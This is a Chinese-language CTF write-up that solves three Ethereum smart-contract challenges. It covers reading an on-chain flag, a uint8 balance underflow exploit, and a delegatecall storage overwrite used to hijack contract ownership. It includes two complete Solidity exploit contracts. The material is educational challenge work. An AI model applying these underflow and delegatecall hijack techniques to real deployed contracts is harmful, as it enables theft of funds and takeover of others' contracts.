目录
武大的比赛,第三题很有意思~
智能合约? 那是啥
- 20 pt
- 17 Solves
- 附件
- 题目描述:
- FLAG, 点击就送
下下来附件直接看源码,发现 flag 在链上存储,直接去这里查看即可

现在来做运算吧
- 198 pt
- 3 Solves
- 附件
- 题目描述:
- 无
压缩包里给了源码,先看怎么拿 flag:
function GetTheFlag(string b64email) public{
require(tx.origin != msg.sender);
require(unlock[msg.sender] == true);
emit FLAG(b64email, " You got the flag!!");
}
两个 require,第一个用合约调用绕过,第二个可能需要我们先解锁,搜索一下 unlock,发现在 deposit 里可以改变状态:
function Deposit(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
require(_value > 5);
balances[_to] += _value;
if (balances[_to] == 5) {
unlock[msg.sender] = true;
}
}
仔细审计一下不难发现我们要满足两个矛盾的条件,我们不仅要给自己加一个比五块钱大的数,还要让我们的 balance 正好等于五块钱。如果只看这一个函数的话无解,所以再看看其他功能。有个转账的 Transfer 函数,没有检查下溢出,所以我们可以利用这一点来使这个看似矛盾的条件成了。
function Transfer(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
}
所以我们先调用 transfer 给随便一个人转钱,把自己的余额下溢出(比如转 10 块钱,这样余额就是245),再调用 deposit 给自己充值 15 块钱,这样就满足了题目的条件。
此外,调用函数还需要输入个 pass,由于这个 pass 是存在链上的,所以按照第一题的方法直接去 etherscan 上找就行;还有一点就是上述操作都要用合约来进行以满足 tx.origin != msg.sender,至于原理请看这篇文章。我的合约 exp:
contract exp{
// imagin Author : imagin
// Blog : https://imagin.vip
// Filename : exp.sol
// Usage : 部署后依次调用 exp1 exp2 exp3
string email = "aW1hZ2luX3NjaEAxMjYuY29t";
Bank b = Bank(0x63266aaf6bdF3076a02D49eB73aE847cfd0A945c);
function exp() public payable{
b.Transfer.value(msg.value)(0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110, 10,
0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
}
function exp2(address addr)public payable{
b.Deposit.value(msg.value)(addr, 15,
0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
}
function exp3(string email) public {
b.GetTheFlag(email);
}
function balan(address addr) view returns(uint) {
return b.GetBalance(addr);
}
function lock(address addr) view returns(bool) {
return b.GetLockedState(addr);
}
}
Easy_Contract
- 300 pt
- 1 Solves
- 附件
- 题目描述:
- 啊, 附件里好像少了点啥…
- 原地址无法接收flag,请使用新地址 新地址: 0x5200E5207b54A70adF77E150A9002dfEF2ECa805 其余信息不变
这题好像从头到尾都只有我一个人在做,合约的交易历史里都没有别人 2333。
压缩包里没源码,只能反编译完硬看,好在代码不长,勉强能看明白。
首先这个合约里提到了仨地址,0x59b4a0d7a0d648069e0145660722f0994b8327f3 是主合约,还有两个地址分别是 0x0a51475da3b09E13a71359D4cD3c295f0Caf1588 和 0xbd700aC7F56a35e8312478ED38688EABbd0A607C。去 etherscan 上反编译会发现这俩合约的编码一样,都是有个签名为 f1596cc8 的函数会把传过来的参数赋给 slot0:
def storage:
stor0 is uint256 at storage 0
def _fallback() payable: # default function
revert
def unknownf1596cc8(uint256 _param1): # not payable
stor0 = _param1
同时我们反编译主合约 0x59b4a0d7a0d648069e0145660722f0994b8327f3 的代码,首先把 storage 结构拎出来:
slot 0 : 0x0000000000000000000000000a51475da3b09e13a71359d4cd3c295f0caf1588
slot 1 : 0x000000000000000000000000bd700ac7f56a35e8312478ed38688eabbd0a607c
slot 2 : 0x000000000000000000000000972db6113b2a90e4a674c3ac0216549fb626858d
slot 3 : 0x0000000000000000000000000000000000000000000000000000000000000000
slot 4 : 0x0000000000000000000000000a51475da3b09e13a71359d4cd3c295f0caf1588
slot 5 : 0x000000000000000000000000bd700ac7f56a35e8312478ed38688eabbd0a607c
slot 6 : 0x000000000000000000000000972db6113b2a90e4a674c3ac0216549fb626858d
会发现 slot 0 1 2 和 slot 4 5 6 是相等的,slot 0 1 又分别是题目给的另外两个合约的地址,slot 2 是创建合约的出题人地址。此外,题目给了 getflag 的函数叫 GetTheFlag,参数是一个 string,所以我们可以用下面的脚本算出来这个函数对应哪个签名:
import sha3
h = sha3.keccak_256("GetTheFlag(string)".encode()).hexdigest()
print(h[:8])
# Output:
# 576cc7e3
对应我们反编译后的代码,就是这一段:
def unknown576cc7e3(array _param1): # not payable
mem[128 len _param1.length] = _param1[all]
require caller != tx.origin
require owner == tx.origin
unknown396bdc6fAddress = stor4
unknown87e133cfAddress = stor5
owner = stor6
mem[ceil32(_param1.length) + 128] = 64
mem[ceil32(_param1.length) + 224 len ceil32(_param1.length)] =
_param1[all], mem[_param1.length + 128 len ceil32(_param1.length)
- _param1.length]
mem[_param1.length + ceil32(_param1.length) + 224] = 19
mem[_param1.length + ceil32(_param1.length) + 256] = ' You got the flag!!'
可以看到主要有两个 require,我们得用一个出题人创建的合约调用这个函数才能成功。继续审源码,发现另外的函数很有意思:
def unknown79bf10e6(uint256 _param1): # not payable
delegate unknown396bdc6fAddress with:
funct (Mask(32, 224, sha3('PreserveID(uint256)')) >> 224)
gas gas_remaining wei
args _param1
这里用 delegate 调用了 unknown396bdc6fAddress,再看看 storage 布局,会发现 unknown396bdc6fAddress 就是 slot 0 的 PreserveID(),我们用之前的方法在计算下 PreserveID(uint256) 的哈希值,会发现前八位果然就是 f1596cc8。也就是说这里使用 delegate 调用 slot0 这个地址合约的 f1596cc8 函数,而这个函数会把传过来的参数写到 slot0 上(关于 delegate 造成变量覆盖的原理请看这里),就会覆盖掉本身的合约地址,也就是说我们可以通过调用这个函数把 slot0 指向攻击合约。
到这里题目基本就有下手点了,但是由于我做题时没完全理清楚逻辑,在做到这一步时我先去 etherscan 上翻出题人部署的其他合约,想通过将 slot0 覆盖成出题人的另一个合约,再通过某种方式覆盖掉 memory 上的调用信息来获得 flag,但是很遗憾第一个是没找到出题人部署的合适的合约,第二是是在不知道怎么覆盖掉 memory(这里应该是没法覆盖的,做题时脑残了),所以卡了很久。后来跟出题人讨( p ) 论 ( y ) 了一波才发现直接把 slot0 指向我部署的合约就可以了 o(╥﹏╥)o。
如果合约不是出题人部署的,那我们还得想办法满足 owner == tx.origin,也就是说我们需要把 owner 覆盖掉,这就简单多了。我们第一次调用 79bf10e6 把 slot0 覆盖成攻击合约的地址,再调用一次 79bf10e6,这样主合约就会调用攻击合约的 PreserveID(),由于攻击合约的代码是我们完全可控的,在这里把 slot2 覆盖成我的以太坊地址就可以满足条件 getflag。我的 exp:
contract exp{
// imagin Author : imagin
// Blog : https://imagin.vip
// Filename : exp.sol
// Usage : 部署后依次调用 step1 step2 getflag
bytes32 rub1;
bytes32 rub2;
address owner;
address tt = 0x5200E5207b54A70adF77E150A9002dfEF2ECa805;
target tar = target(tt);
address public my;
function step1(address addr){
my = addr;
bytes4 methodId = bytes4(0x07d8d717);
tt.call(methodId, addr);
}
function step2(address addr){
bytes4 methodId = bytes4(0x79bf10e6);
tt.call(methodId, 0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110);
}
function PreserveID(uint256 a) public{
owner = 0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110;
}
function getflag(){
tar.GetTheFlag("aW1hZ2luX3NjaEAxMjYuY29t");
}
function getOwner()public view returns(address){
return tar.owner();
}
}
这个 exp 调试花了挺长时间的,第一是因为套娃调用,默认的 gas 值会不够而导致交易失败,在交易界面给 Gas Limit 加个 0 就好了。

其次,由于是 delegate call,所以不要在攻击合约里写 this,会被当做主合约的地址解析。
大佬,EASY_CONTRACT的wp中的target合约能康康吗